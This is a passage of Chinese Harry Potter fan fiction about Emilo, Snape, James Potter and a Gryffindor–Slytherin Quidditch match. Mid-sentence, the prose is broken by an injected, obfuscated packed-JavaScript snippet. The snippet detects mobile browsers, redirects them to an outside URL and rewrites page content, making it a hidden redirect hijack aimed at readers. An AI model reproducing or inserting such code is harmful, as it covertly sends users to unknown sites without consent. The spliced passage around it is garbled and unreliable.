埃米洛没听清具体名字,但眼前的景象已经说明了一切。人群突然散开一条通道。一小群人簇拥着一位女士款款走来。她穿着剪裁完美、质料昂贵的浅丁香色长裙,珍珠灰的开司米披肩勾勒出优雅的肩线,柔顺的棕色长发挽成一丝不苟的发髻,面容带着一种精心雕琢过的、悲天悯人的温柔。 几位《预言家日报》的记者手持速记本和相机,如同嗅到花蜜的蜂群紧紧环绕,快门声和刺眼的镁光此起彼伏。一两位治疗师徒劳地试图维持秩序。好奇的家属和轻伤员挤在两边,眼中混合着好奇和一丝渺茫的期盼。 克劳奇夫人停在一张临时加设的病床前,床上躺着一位形容枯槁、缠着绷带的老妇人。她微微俯身,姿态放得极低。没有丝毫犹豫,伸出保养得宜、戴着素雅戒指的手,稳稳握住了老妇人那布满褶皱、伤痕和老年斑、微微颤抖的手。镁光灯瞬间疯狂闪烁,捕捉着这“感人”的画面。 “您是一位值得敬佩的斗士……请坚持下去,”克劳奇夫人的声音轻柔得像羽毛拂过,却清晰地传遍四周,“希望从未远离。魔法部……我们所有人……都在为结束这一切而努力。请相信,正义终将战胜黑暗。”她的语调平稳,每个词都像是排练过无数遍。 埃米洛的胃里泛起一阵不适的凉意。他面无表情地挤到魔药窗口,递上单子,接过药剂师递来的、为母亲新调配的稳定剂。冰冷的玻璃瓶触感让他稍感清醒。他转身,试图从人群边缘挤出去,但克劳奇夫人的“移动舞台”依旧是一堵移动的墙。就在他侧身试图穿过两个伸着脖子、看得入神的家属之间的缝隙时,一个为了抢拍完美角度的记者猛地后退一步,坚硬的手肘狠狠撞在埃米洛的肋骨上! “唔!”一声短促的痛哼从埃米洛喉咙里挤出,巨大的冲击力让他瞬间失去平衡,踉跄着向后倒去,脚后跟绊在了一个不知谁遗弃在地上的水桶边缘—— 预想中撞击冰冷地面的狼狈没有发生。一只手猛地抓住了他的胳膊,另一只手及时托住了他的后背,稳稳地将他扶住,阻止了跌倒。 “小心。”一个带着薄荷糖气息的声音在耳边响起。 埃米洛稳住身形,迅速转头——是小巴蒂·克劳奇。金色的短发梳理得一丝不苟,穿着与母亲同色系的衬衫马甲,仿佛是从旁边那幅“完美家庭”画框中走出来的。 小巴蒂松开手,眉头几不可查地蹙了一下,目光冷淡地扫过那个肇事记者(后者正浑然不觉地对着克劳奇夫人猛按快门),然后才落回埃米洛脸上。“学长?”他认出了埃米洛,脸上浮现出一种精确计算过的、恰到好处的关怀,“你没事吧?” 埃米洛揉了揉剧痛的肋骨,压下翻腾的怒火,摇了摇头:“没事。谢谢。” “不客气。”小巴蒂简短地回应,停顿了一下,似乎在解释,又像是在陈述一个与己无关的事实,“我母亲让我陪她来探望几位……受难者家属。”他的目光掠过被簇拥的母亲,又迅速收回,仿佛不关他的事一样。 埃米洛点点头,只想快点把药水送回去。 “对了,学长,”小巴蒂在他转身前开口,语气依旧平淡,“关于OWLs……我在考官面前施展了那个咒语,很成功。这次考试……我取得了12个O,父亲很高兴。所以,谢谢。”最后一句话他的眼睛冒出了摄人的光芒。 “祝贺你。是你自己优秀。”埃米洛早已从老克劳奇在部里有意无意的炫耀中得知了这个消息。他和阿米莉亚甚至能背出来其他官员那些千篇一律的溢美之词。 小巴蒂点了点头,他的目光似乎无意中扫过埃米洛手中紧捏着的、写着艾莲娜名字的魔药处方单。他的嘴唇极其轻微地动了一下,仿佛想问什么,但最终什么也没说,只是道:“这里太乱了。我跟你去那边吧,学长。”他指了指相对人少的走廊尽头。 “不用了,”埃米洛立刻拒绝,语气带着一丝不易察觉的冷硬,“好好照顾克劳奇夫人吧,这里人这么多,容易出事。”他再次看向闪光灯聚焦的中心,克劳奇夫人脸上依然是那完美的悲悯,就如同冰冷的面具。他按着肋骨,不再看小巴蒂,迅速汇入嘈杂的人流,消失在他视线中。 ------ 霍格沃茨特快喷吐着蒸汽驶入站台,新学期的礼堂显得更加空旷冷清。许多熟悉的面孔消失了。邓布利多教授却依旧站在教师席前,半月形眼镜后的目光睿智而深邃,他张开双臂,喊出了那句标志性的、带着一丝荒谬感的开场白:“笨蛋!哭鼻子!残渣!拧!(Nitwit! Blubber! Oddment! Tweak!)” “接下来,我来介绍今年新的学生会男女主席——”邓布利多的视线温和而坚定地投向格兰芬多长桌。 “詹姆·波特,莉莉·伊万斯!” 格兰芬多长桌爆发出热烈的掌声和欢呼,小天狼星·布莱克甚至吹了一声响亮的口哨。赫奇帕奇长桌响起一片带着遗憾的叹息,拉文克劳那边则投来几道怀疑和审视的目光。而斯莱特林长桌,陷入了一片令人窒息的死寂,冰冷的目光如同淬毒的匕首射向台前。 詹姆和莉莉并肩站起,穿过礼堂,走向最前端。金色的烛光仿佛追光灯般洒在他们身上,这一刻,他们耀眼得如同天生的领袖,那份相配感让许多人心中一动。 两人发表了简短而有力的就职演说。埃米洛的目光却越过人群,精准地投向斯莱特林长桌。他看到了那个熟悉的身影——西弗勒斯·斯内普。他死死地盯着台上的詹姆和莉莉,脸色苍白得没有一丝血色,紧抿的嘴唇几乎成了一条锋利的直线,放在膝盖上的手紧握成拳,指节因为用力而泛白,身体绷得像一张拉满的弓。 “我还是加入了凤凰社。”卢平的声音突然在埃米洛耳边响起,压得很低,“还有詹姆,小天狼星……莉莉。” “……嗯。”埃米洛收回视线,简单地应了一声,目光落在自己面前的餐盘上。 -------- 开学第二周,埃米洛在高级魔药课后堵住了匆匆收拾东西的西弗勒斯。 “……你退出了?斯拉格霍恩教授说你这学期不来做魔药助理了。” 对方仿佛当他是空气,抱着厚重的魔药课本,目不斜视地径直走过,黑袍在身后划出一道冰冷的弧线。跟在西弗勒斯旁边的穆尔塞伯像看什么滑稽剧一样瞥了埃米洛一眼,嘴角勾起一抹讥诮的冷笑。 “……跟我来一下。”埃米洛不由分说的抓住了西弗勒斯的手臂。他能感觉到对方瞬间的僵硬和抗拒。“借用一下你的同学。”他冷冷地扫了一眼正要抽出魔杖的穆尔塞伯,“我猜你不想在走廊跟我打架?奉劝你别用什么阴招,后果你清楚。” 他强硬地把西弗勒斯拉进旁边一间空置的教室,反手关上了门。 “新造型很适合你。”埃米洛先开了口,目光打量着西弗勒斯。他不再穿着那身破旧宽大的旧袍子,换上了一身剪裁更合体、线条更冷硬的新黑袍,像一只收敛了翅膀、更具攻击性的黑蝙蝠。两侧油腻的头发不再散乱地披在脸颊两侧,而是被整齐地束在脑后,露出苍白而棱角分明的脸,整个人显得更加干练,却也更加……锐利。 “我有的时候真不知道你想干什么——”西弗勒斯猛地甩开埃米洛的手,抱着手臂,声音嘶嘶作响,像被激怒的蛇,“道不同,不相为谋。这个道理你懂吧?” “哈,你当然再清楚不过了,”他的黑眼睛里燃烧着冰冷的怒火和讽刺,“所以你才六年了都像个幽灵一样,融不进波特他们那个愚蠢至极、自以为是的小团体!” “……也许我只是曾经觉得我们会是一路人呢?”埃米洛半晌才回答他,目光锐利地刺向他,最终落在他紧抱着的左手臂上。 “不会是了。”西弗勒斯的声音陡然拔高,带着一种被戳穿的尖锐和决绝,他下意识地将手臂抱得更紧。 “不是我退出的,是斯拉格霍恩主动找到我……嗯,很‘委婉’地‘辞退’了我,懂了吗?” 斯拉格霍恩——精明油滑的斯莱特林院长,却对食死徒避之不及,但同样也不愿公开支持凤凰社。莉莉今年“退出”了鼻涕虫俱乐部的聚会。老教授在小心翼翼地切割,试图维持他那脆弱的“中立”。 “不,你别颠倒前后。”埃米洛的声音低沉下去,“是你自己先主动关上了教授这扇门的。在你选择那条路的时候。” “是啊,是我主动的。”西弗勒斯猛地扬起下巴,黑眼睛里充满了挑衅和一种近乎自毁的偏执,“怎么?”他向前逼近一步,冰冷的呼吸几乎喷在埃米洛脸上,“你不要告诉我你现在在挽留我?我们什么时候有过这种‘深厚’的情谊了?嗯?” “……”埃米洛被这尖锐的问题钉在了原地。早在克劳奇那条法令颁布的时候他就是混乱的。也许更早,他可能一直都……没有去正视过身边的关系。 一股强烈的懊悔如同冰冷的潮水瞬间淹没了他——懊悔自己整个学生时代都在旁观,像一只躲在玻璃罩后的蝴蝶,害怕被触碰,害怕受伤,所以拒绝建立任何深入的关系;懊悔自己曾经带着高高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15916632|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在上的冷漠评判所有人,甚至内心深处涌动着“世人皆醉我独醒”的可悲傲慢与蔑视。 他不想看到西弗勒斯沉沦,成为折磨他人的刽子手;不想看到莱姆斯踏上那条充满怀疑、牺牲和孤独的荆棘之路;不想看到詹姆……那个曾经飞扬跳脱、无忧无虑的人,去参加战争,承担沉重的责任。 但这些都已经晚了——就像他卖掉二手店铺的那一刻才开始怀念那些旧物的温度,就像他带着比尔和查理飞行时才意识到,自己曾错过了多少纯粹的善意与接纳…… 我明明可以跟他们建立能说上一句真心话的关系的!这个念头像一把钝刀反复切割着他的心脏。 我格兰芬多的勇敢究竟在哪里?一阵剧烈的恶心感涌上喉咙,他感到头晕目眩,世界仿佛在旋转。 “魔法部就规避黑白了么?”斯内普冰冷的声音再次响起,带着浓浓的嘲讽,凑近他的耳廓,如同毒蛇的低语,“看看现在那些傲罗——跟食死徒,有什么区别呢?都是杀戮,都是钻心剜骨!你又做了些什么?嗯?你能做些什么?” 尖锐的耳鸣声淹没了斯内普后面的话语。埃米洛只看到对方那张苍白的脸在眼前晃动,然后,脚步声响起,越来越远,最终消失在空荡教室的门外,留下他一个人站在冰冷的寂静中。 ------ 七年级的日子在沉重的NEWTs备考和日益紧张的气氛中流逝。詹姆在戴上学生会主席徽章后,仿佛一夜之间褪去了许多青涩。最明显的变化是,他早晨开始规规矩矩地打领带(尽管常常在课间被他自己或小天狼星揪乱),也不再不分场合地追着莉莉要求约会。轮廓分明的脸庞添了几分坚毅,处理事务时多了份沉稳。 当他别着徽章在走廊巡视时,连最挑剔的麦格教授眼中也流露出赞许。同学们看他的目光也多了尊重,他“自大狂”的名号渐渐被“靠谱的波特”取代。埃米洛可能是唯一一个对此感到些许不适的人,他仿佛在看着一个熟悉的陌生人快速成长,带着一种自己也说不清的复杂情绪。 “我替你打这局魁地奇?”当詹姆在公共休息室的角落找到他时,埃米洛几乎以为自己听错了。 “对,”詹姆抓了抓他本就乱糟糟的黑发,脸上带着熬夜的疲惫,“我那天要开会……凤……”他忽然警觉地止住了话头。 “凤凰社。”埃米洛替他把下半句平静地说了出来,目光直视着詹姆,“你们去年在宿舍商量拉哪些人进来的时候都没有避讳我,现在开始避讳,是不是太晚了点?”他的语气听不出情绪,却让詹姆的脸微微涨红。 “对不起,埃米洛。”詹姆的声音低沉下来,带着真诚的歉意。 我不想听你跟我说道歉!埃米洛的心猛地一沉,你能不能讲点更孩子气的话,不要让我更加清晰地感受到每个人都在背负着沉重的时间前行。他站起来,抱着手臂重重地靠在了冰冷的石墙上。 “你是担心扫帚么?不用你买……战术沿用之前的也可以,毕竟……”詹姆试图解释,声音里带着一种心力交瘁的妥协,“可能别的学院很多人也无心比赛了,我们……” “我替你打。”埃米洛再也听不下去了,一股莫名的火气窜了上来。他猛地直起身,一把夺过詹姆手中那枚象征着队长职责的魁地奇徽章,手指因为用力而微微发白。 “别开玩笑了,詹姆·波特,”他的声音带着一种近乎逼迫的锋芒,“格兰芬多需要最好的上场,一直都是!这不是你说的么?‘沿用之前’这种话是你该说出来的吗?无心比赛这种借口别的学院可以找,你——格兰芬多的魁地奇队长,魁地奇巨怪!可以找么?” 两人之间的空气瞬间凝固了,只剩下壁炉里木柴燃烧的噼啪声。詹姆的脸上闪过错愕、疲惫,最终化为一片沉寂的灰暗。埃米洛再也受不了詹姆这副样子。他猛地转身,大步流星地朝着肖像洞口走去,那天斯内普说的话又开始在耳边回响。 “我父母得了龙痘疮……” 就在他快要走出休息室阴影的时候,詹姆的声音在他身后响起,低沉得如同叹息,却像惊雷一样炸响。 埃米洛的脚步瞬间钉死。 父母的绝症带来孩子的成长,同时也象征着属于青少年的张狂时刻完全逝去…… “可恶。” 詹姆压抑的声音传来,接着是拳头狠狠砸在石柱上的闷响。 “可恶!可恶!可恶!”一下,又一下,带着绝望的愤怒和无助。 埃米洛站在原地,背对着他,静静地听着那沉闷的撞击声。他能想象詹姆此刻的表情,那张总是带着飞扬神采的脸上,此刻恐怕只剩下痛苦和强撑的破碎。 终于,撞击声停了,传来詹姆带着浓重鼻音、像哭又像笑的嘶哑声音。 “……真疼啊。” “……”埃米洛深吸一口气,猛地转过身。他没有说话,大步走回去,在詹姆反应过来之前,狠狠一拳捶在他胸口——带着宣泄式的力道。然后,在詹姆因疼痛而弯下腰的瞬间,他张开手臂,给了他一个极其用力、几乎要将对方肋骨勒断的拥抱。所有说不清道不明的复杂情绪——都融进了这个沉默而坚实的拥抱里。 “……你真奇怪,埃米洛,”詹姆的声音闷闷地从他肩膀处传来,带着一丝狼狈的哽咽,身体微微颤抖着,“你是我遇到过最奇怪的人。我都做好被你彻底拒绝、再骂我一顿的准备了。” “……当你在夸我了。”埃米洛的声音也有些发紧,他松开了手臂。 两个人短暂地分开,詹姆用手背胡乱擦了擦眼睛,深吸几口气,眼神里终于重新燃起一点微弱却真实的光。“赢着回来。”他看着埃米洛,声音恢复了部分往日的坚定。 “肯定会比你带队赢得更漂亮。”埃米洛看了他一眼,语气带着一丝罕见的挑衅。他率先迈步走向礼堂,“你的队员之前跟我说过,他们有时候很受不了你。” “什么?!”詹姆立刻跟上,声音拔高了,熟悉的活力和一点夸张的愤怒回到了他身上,“是谁!哪个叛徒!我绝不饶了他!”他快步跟上他,勾上他的脖子,两个人步入光明中。 16.一场魁地奇 魁地奇球赛前,埃米洛接到了斯拉格霍恩的邀请,并不是鼻涕虫俱乐部,而是私人性质的晚宴。 斯拉格霍恩的私人小厅并非简单的房间,而是一个精心布置的微型舞台。空气里弥漫着昂贵雪茄、上等魔药材料的独特混合香气。光洁如镜的银器——每一件都带着斯拉格霍恩家族或某位显赫学生赠礼的印记——忠实地反射着摇曳的烛光,将不大的空间映照得金碧辉煌。昂贵的瓷器上,食物被点缀得如同艺术品,分量却吝啬得令人咂舌,与其说是果腹,不如说是炫耀与品味的象征。一瓶标签陈旧得几乎看不清字迹的橡木陈酿蜂蜜酒被郑重地摆在中央,散发着醇厚到近乎粘稠的香气。 “哦……亲爱的孩子,你能来真是让我这老地方蓬荜生辉啊!”斯拉格霍恩满面红光,热情得近乎夸张,他戴着几枚宝石戒指的胖手,小心翼翼地将一小盘色泽奇异、纹理如云霞的薄片推到埃米洛面前,“‘云纹龙鳕’,空运来的珍品,配上秘制的月露花汁,啧啧,入口即化,保证让你毕生难忘。”他眯缝着眼睛,观察着埃米洛的反应。 埃米洛来者不拒,脸上挂着得体的微笑,眼神恭谨而略带恰到好处的受宠若惊。两个人的话题如丝般顺滑地从课业、NEWTs的高分技巧流淌开去。很快,斯拉格霍恩摇晃着盛满琥珀色酒液的水晶杯,话题如同他精心引导的溪流,自然地、不容拒绝地汇入了魔法部相关的内容。 “我带出的学生,如今可都是魔法部的中流砥柱,支撑着整个体系的运转啊,”他语气里的自豪几乎要溢出来,手指习惯性地轻轻敲打着光滑的桌面,“嗯……改天,改天我一定要安排个小聚。比如……国际魔法合作司的新任主管,那孩子精通8门外语!……还有记忆注销指挥部的那位,他父亲可是我的老朋友了……当然,也有神秘事务司的那位缄默人,布罗德里克,你知道吗?比你大两级的拉文克劳……”他如数家珍般报出一个个名字和令人眼热的职位。 “你们这一届啊,优秀的孩子真不少……”他仿佛在盘点自己最珍贵的藏品,目光在无形的名单上逡巡,带着估价师般的审慎,“莉莉·伊万斯,才华横溢,可惜……嗯,有些生不逢时;詹姆·波特,天赋惊人,就是太……跳脱了;西弗勒斯·斯内普,才华毋庸置疑,可惜……唉,走岔了路……”他叹息着摇摇头,随即目光聚焦在埃米洛身上,瞬间变得灼热而充满期待,“但其中,亲爱的埃米洛,你是最聪明、最懂得如何运用自身价值的一个。”他身体微微前倾,声音压低了点,带着一种推心置腹的、仿佛泄露天机般的意味,一股混合着蜂蜜酒和古龙水的浓烈气味扑面而来,“原谅我,孩子,原谅我这个老眼昏花的老家伙,过去没有早些发现你这颗蒙尘的明珠。希望现在……还不算太晚?” “当然不会,教授。”埃米洛立刻摇头,脸上适时地流露出真诚的感激“您在我需要的时候已经给了我太多指引和机会。没有您的帮助,很多时候我都不知该如何前进。” 斯拉格霍恩显然被这剂“迷魂汤”灌得舒坦至极,脸上的笑容如同绽放的牡丹,红光更盛。埃米洛一边谦逊地点头应和,一边在心底冷眼分析:这突如其来的“垂青”,图什么?伏地魔阴影日益浓重、魔法部内部撕裂加剧的当下,哪还有真正的净土? 老教授没有明说,埃米洛也绝不会傻到去问。他开始习惯这种带着秤砣的交往,习惯将那张名为“谦逊有礼”的社交面具自然地焊在脸上。 ------ 詹姆托付给他的魁地奇比赛,对手是斯莱特林,日期近在眼前。 “他们这学期几乎没怎么合练,”队员罗伯特·希利尔凑到正在研究战术羊皮纸的埃米洛身边,看着对手名单,不屑地撇了撇嘴,“你知道原因的,对吧?”他的眼神意有所指地扫过名单上那几个显赫的姓氏。 埃米洛的目光扫过那张纸:七年级队长埃文·罗齐尔,六年级找球手雷古勒斯·布莱克……也许还有别人。缺席核心训练的原因不言而喻—— “我们要沿用上次对斯莱特林的方案吗?”罗伯特询问,语气带着明显的不确定,“詹姆临走前说让我们听你的安排……可是……”他欲言又止,显然对新队长缺乏信心。 “不,”埃米洛果断摇头,抽出炭笔,在原本的战术图旁利落地画下几条全新的、如同蛛网般复杂交错的轨迹和标记,“我们更换打法。彻底更换。” 罗伯特凑近一看,眉头立刻拧成了疙瘩:“埃米洛,这……面对斯莱特林那群毒蛇,沿用我们上次成功的战术才是最稳妥的!他们虽然训练少,但单兵能力不弱,尤其是布莱克家的那个找球手,速度快得像鬼魅!我们上次就是靠詹姆的速度和冲击力硬生生冲垮了他们……” “相信你的队长吧。”埃米洛打断他,没有试图用热情或保证去说服罗伯特相信自己,而是将信任的基石牢牢放在了远在千里之外的詹姆身上,“他信任我能带你们赢。照我说的做,我们这次会赢。”他的语气带着一种不容置疑的平静,让罗伯特后面的话噎在了喉咙里。 比赛日终于来临。狂风卷动着乌云,给魁地奇球场投下大片阴影。看台上人声鼎沸,喧嚣的声浪几乎要掀翻顶棚。两队队员在霍琦夫人尖锐的哨声中列队进场。当格兰芬多的队员中不见那个熟悉的、头发乱糟糟的身影时,巨大的疑惑和失望如同涟漪般在看台上扩散开来。 “不是詹姆·波特?!” “对,波特好像家里有急事回去了……” “那是谁?” “梅林的胡子!德蒙特学长学业是很优秀!但我真的不知道他还打魁地奇哎!他能代替波特学长?” “完了完了,我还赌了钱呢……” 议论声、质疑声、倒吸冷气的声音此起彼伏,无数道期待、审视甚至轻蔑的目光像冰冷的针雨,密集地扎在埃米洛挺直的脊背上。 “双方握手!——”霍琦夫人洪亮的声音穿透嘈杂。 “罗齐尔。”埃米洛走到场地中央,目光平静无波,伸出了手。狂风卷起他深红色的队袍下摆。 “德蒙特。”埃文·罗齐尔下巴微微抬起,他用力握住埃米洛的手,指节发力。 “双方准备——” 所有人都翻身跃上了扫帚。 “开始!——”尖利刺耳的哨音撕裂空气,如同战斗的号角! 比赛甫一开始,斯莱特林就展现出饿狼般的凶狠。他们放弃了一切花哨,打法直接、粗暴、充满侵略性。游走球被他们击打得如同炮弹,带着凄厉的破空声,专门朝着格兰芬多追球手的扫帚尾和持球手的手肘招呼。追球手三人组如同三柄黑色的匕首,以惊人的速度穿插切割,试图用快攻撕开防线。这打法,与他们上学期对阵詹姆率领的格兰芬多时如出一辙,凶悍且有效! “看!跟他们上学期的打法一模一样!”罗伯特在又一次惊险地躲过擦着耳朵飞过的游走球后,脸色发白地飞近埃米洛,声音因为焦急而尖锐,“埃米洛!现在改变还来得及!只有沿用上学期的对攻,用速度对速度,才能针锋相对!我们这样守下去会被他们打穿的!我们……” “稳住!执行计划!相信我!”埃米洛的声音在狂风中异常冷静,没有丝毫动摇。他话音未落,身体猛地一矮,扫帚几乎贴着地面疾掠,以一个不可思议的角度从两名斯莱特林追球手的包夹缝隙中穿过,顺手如探囊取物般截下对方刚要传出的鬼飞球!动作干净利落得没有一丝多余。紧接着,一个逼真的假动作晃飞了扑上来的罗齐尔,在身体几乎失去平衡的瞬间,手腕一抖,鬼飞球划出一道刁钻的弧线,精准地穿过最远端球门圆环的左上角! “格兰芬多得分!10:0!”解说员的声音响起,格兰芬多看台爆发出劫后余生般的欢呼! 罗伯特看着记分牌跳动,但眉头依然紧锁,烦躁地一甩头,汗水飞溅:“好吧,好吧,反正也就这一次……听天由命吧!”他嘟囔着,带着满腹的疑虑和不甘,猛地拉升扫帚,飞向自己的防守位置。 场上的局面让所有熟悉格兰芬多风格的观众大跌眼镜。整个队伍放弃了詹姆时代标志性的高速穿插和炫目的个人突破,转而编织成一张无形而坚韧的大网。鬼飞球的传递变得异常谨慎,甚至有些沉闷,进攻路线迂回曲折,不求快,只求稳。 而防守端,整个队伍围绕着三个球门区域,通过埃米洛精准的调度和队员们严格的站位执行,形成了一个弹性十足、互相补位的防御圈。斯莱特林每一次凶悍的冲击,都像重拳打在棉花上,力量被分散、吸收,郁闷得让他们几乎吐血。比分在斯莱特林疯狂的进攻下,竟然被格兰芬多以极其微弱的优势(130:120)艰难地维持着。 “更换策略!”又一次强攻被格兰芬多两人协防化解后,罗齐尔脸色阴沉得能滴出水,他飞近在高空逡巡的雷古勒斯,声音带着压抑的怒火,“跟他们耗不起了!用‘镜像’战术!你也别再观察了,给我加快速度!用你最快的速度找到飞贼,结束这场该死的比赛!”他下达了不容置疑的命令。 ……镜像?雷古勒斯心中警铃大作。如果是他来安排,此刻应该集中所有火力强攻格兰芬多因协防而必然出现的薄弱侧翼,试图撕裂对方看似稳固的防线,制造混乱。 他警惕而锐利的灰色眼眸扫过整个球场,最终落在对方的临时队长埃米洛·德蒙特身上。他认识这个人——哥哥的室友,但他们关系似乎很淡。在学校里没什么存在感。但他知道对方被魔法部提前招揽了,一个没什么好出身的巫师能被推荐显然有自己的过人之处。在斯莱特林公共休息室,他听过亚克斯利用赞赏的语气评价此人——“格兰芬多的蠢狮子里难得脑子清醒的。” 这样的对手,会这么简单就让他们用“镜像”耗下去吗?雷古勒斯抿紧了毫无血色的嘴唇。但长久以来深入骨髓的服从——与在布莱克家的时候一模一样——最终压倒了疑虑。 “我只要做好自己的事,承担好自己的责任就好。”他对自己低语。不再犹豫,猛地一压最新款的光轮扫帚柄,身体几乎与扫帚平行,像一道撕裂乌云的黑色闪电,骤然将速度提升到极致!那瞬间的爆发力,让看台上响起一片惊呼!他如同鬼魅般在球场上空高速穿梭,目光如鹰隼般搜寻着那一点金光。 “太快了……”埃米洛在组织一次缓慢推进的间隙,眼角余光瞥到高空那道几乎留下残影的黑线,心头猛地一沉。斯莱特林的战术调整在他的预料之内,但雷古勒斯·布莱克此刻展现出的恐怖速度和孤注一掷的决心,完全超出了他的预估!这样下去,时间每流逝一秒,金色飞贼被捕捉到的概率就增大一分! “罗伯特!”埃米洛的声音穿透风声,带着决断的锋芒,“计划B!你去配合兰斯特(格兰芬多找球手)!埃迪,麦克!你们两个,一上一下,给我贴住布莱克!保持三英尺距离!轮换干扰!注意动作,别给霍琦夫人吹哨的理由!”他语速极快,指令清晰。 “什么?!包夹干扰找球手?!”罗伯特的声音充满了震惊和抗拒,几乎破音,“这不是斯莱特林那群卑鄙家伙才用的阴招么?!我们是格兰芬多!” “那我告诉你,这个打法的‘灵感来源’就在格兰芬多毕业,而且他现在在旋风队!” “那破开的防线缺口谁填?我们的进攻还要不要了……”罗伯特急得满头大汗,指向对方半场。 “我!”埃米洛斩钉截铁,目光如炬地锁定他,“执行命令,罗伯特·希利尔!现在!立刻!马上!”那不容置疑的气势,让罗伯特瞬间哑火。 罗伯特狠狠一咬牙,腮帮子鼓起,最终从喉咙里挤出一声:“是!”带着满腔的不情愿和另外两名队员,如同三支离弦之箭,直扑高空那道危险的黑色闪电。 而埃米洛则化身为球场上的自由人和救火队员,又像一张无形却柔韧到极致的网。他疯狂地压榨着自己的体力和脑力,扫帚在空中划出令人眼花缭乱却又精准高效的轨迹,大脑如同最高级的魔法计算机般高速运转,计算着每一个队员的位置、对手的动向、可能出现的漏洞。哪里因人员调动出现空隙,他就如同瞬移般出现在哪里填补;哪里进攻需要策应,他就精准地将球送到最合适的位置;同时还要时刻关注高空的缠斗和游走球的轨迹。汗水浸透了他的球袍,狂风吹得他脸颊生疼,但他的眼神始终冷静如冰,动作没有丝毫变形。格兰芬多的防线在他的亡命补位下,竟在斯莱特林因找球手被干扰而更加狂躁的进攻下,奇迹般地维持着摇摇欲坠的平衡。比分被死死咬在原地(格兰芬多领先)。 …… 这场魁地奇的结局让许多观众感到一种不真实的恍惚。格兰芬多赢了。但赢得方式……非常的不“格兰芬多”。没有热血沸腾的绝地反击,没有激动人心的最后秒杀,甚至没有多少令人血脉贲张的精彩射门。它更像是一场消耗战,一场意志力的比拼。最终,依靠找球手兰斯特在罗伯特和凯文舍身干扰(差点被布莱克撞飞)创造出的、转瞬即逝的微小空隙,惊险地抓住了被雷古勒斯指尖擦过的金色飞贼! “格兰芬多获胜!”解说员的声音带着难以置信的激动。 看台上爆发出巨大的欢呼,但其中也夹杂着许多困惑的议论。 “我以为我看了一场拉文克劳的比赛……” “梅林啊,赢得真……有点憋屈。” “斯莱特林那帮家伙脸绿了我就开心啊哈哈哈哈!” “其实是另一种意义上的爽……虽然,我还是更怀念波特在的时候那种让人心跳停止、肾上腺素爆炸的刺激感。” …… 埃米洛换下被汗水彻底浸透、几乎能拧出水来的厚重球服,被兴奋得近乎癫狂的队员们簇拥着走向食堂庆祝。无酒精的果酒被当作庆功的香槟。罗伯特·希利尔兴奋地挤过来,重重地勾住埃米洛的肩膀,带着酒不醉人人自醉的狂喜。 “埃米洛!梅林的臭袜子!你应该早点来球队啊!真的!你打的真的不错!很不错!”他声音震耳欲聋,唾沫星子几乎喷到埃米洛脸上,随即又凑近埃米洛耳边,压低了声音,带着点抱怨和解脱,“说真的,你来正好,有些时候我真是受不了詹姆……他脑子里只有‘炫’这一个字!刚才那种情况,他绝对带着我们跟斯莱特林对轰到死……你懂吗?” “我也是。”埃米洛平静地和他碰了一下杯,喝了一口酸甜却冰凉的果汁,打断了罗伯特的滔滔不绝。“詹姆确实有他的缺点。” “是吧!”罗伯特像是找到了灵魂知己,音量瞬间又拔高了八度,“不过他现在好多了!对了,你能跟我八卦一下他和莉莉学姐么……我们都想知道……” “你上学期晚上跟兰斯特在公共休息室最里面那个的角落里抱怨的时候,”埃米洛慢悠悠地说,声音不高,却像冰水一样瞬间浇灭了罗伯特的兴奋,“我正好在旁边的‘龙皮’扶手椅上看书,你当时是不是诅咒他永远都追不到……”他欣赏着罗伯特脸上血色瞬间褪尽、表情从兴奋到惊恐再到绝望的精彩转变。 “啊——!!!”罗伯特发出一声凄厉的惨叫,像被火烧了屁股一样猛地跳开一步,手指颤抖地指着埃米洛,脸上写满了世界末日般的惊恐和懊悔,“你……你怎么能!……你可千万别告诉他啊,完了完了!詹姆会杀了我的!你还是别来球队了!求你了!”他抓狂地揉着自己的头发,仿佛已经看到了詹姆举着魔杖狞笑着追他的场景。 埃米洛看着他夸张的反应,难得地、极其轻微地勾了一下嘴角,露出一丝真实的、带着恶作剧得逞般促狭的笑意:“骗你的。我没告诉他是谁说的。”他慢条斯理地补充道,“我只是告诉他,有人觉得他女朋友很漂亮。”他饶有兴致地看着罗伯特的表情从地狱瞬间回到人间,又从人间跌回地狱。 “我还要去复习NEWTs,下次有机会再聊。”埃米洛放下几乎没怎么动的杯子,转身离开食堂。身后传来罗伯特心有余悸又气急败坏的嘟囔声。 走上通往格兰芬多塔楼的旋转楼梯时,阴影中一个意料之外又情理之中的人影让他脚步微顿——雷古勒斯·布莱克。他独自一人靠在冰冷的石墙上,仰头看着高窗外翻涌的乌云,侧脸在昏暗的光线下显得异常苍白和疲惫。他似乎刚结束沉思,听到脚步声,转过头,看到埃米洛和他手里拿着的、几乎没喝的果酒杯。他的目光在那杯子上停留了一瞬,灰眸中掠过一丝本能的不认同。 “这个时间点,”雷古勒斯皱着眉,几乎是下意识地脱口而 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“你如果告诉你的哥哥这个观点,”埃米洛踏上终于转正的楼梯,居高临下地看着台阶下方的雷古勒斯,“说不定他当年离家出走的时候,会多犹豫那么几秒钟。” 他顿了顿,目光锐利如针,意有所指 “就像今天在球场上,你如果告诉罗齐尔他的方法不合适——说不定最后抓住飞贼的人,就不会是我们了。” “你教我做事?”雷古勒斯的脸瞬间沉了下来,被冒犯的怒火和布莱克家族骨子里的傲慢在那双灰色的眼眸中骤然点燃,下颌线绷紧。这一刻,他和小天狼星又变得很像了。 看吧,谁能真正离开原生家庭刻在骨血里的烙印呢?无论反抗还是顺从,那烙印都在那里,如影随形。埃米洛在心中冷然道。 “不敢。”埃米洛不再看他,转身快步登上旋转的楼梯。 ------ 那之后,埃米洛度过了一段内心相对轻松的日子。 